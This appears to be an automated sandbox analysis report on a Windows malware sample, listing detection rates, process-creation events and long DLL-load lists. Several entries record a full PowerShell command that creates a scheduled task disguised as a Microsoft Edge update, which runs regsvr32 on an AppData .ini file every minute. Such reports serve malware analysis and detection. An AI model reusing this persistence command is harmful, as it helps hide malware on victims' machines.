Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: 81zBpBAWwc.exe	ReversingLabs: Detection: 39%
Source: 81zBpBAWwc.exe	Virustotal: Detection: 48%

Source: unknown	Process created: C:\Users\user\Desktop\81zBpBAWwc.exe "C:\Users\user\Desktop\81zBpBAWwc.exe"
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmpnscfg.exe "C:\Program Files\Windows Media Player\wmpnscfg.exe"
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"	Jump to behavior
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmpnscfg.exe "C:\Program Files\Windows Media Player\wmpnscfg.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wudfplatform.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsadu.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsound.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: qedit.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsadu.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: vaultcli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: credui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: feclient.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptnet.dll
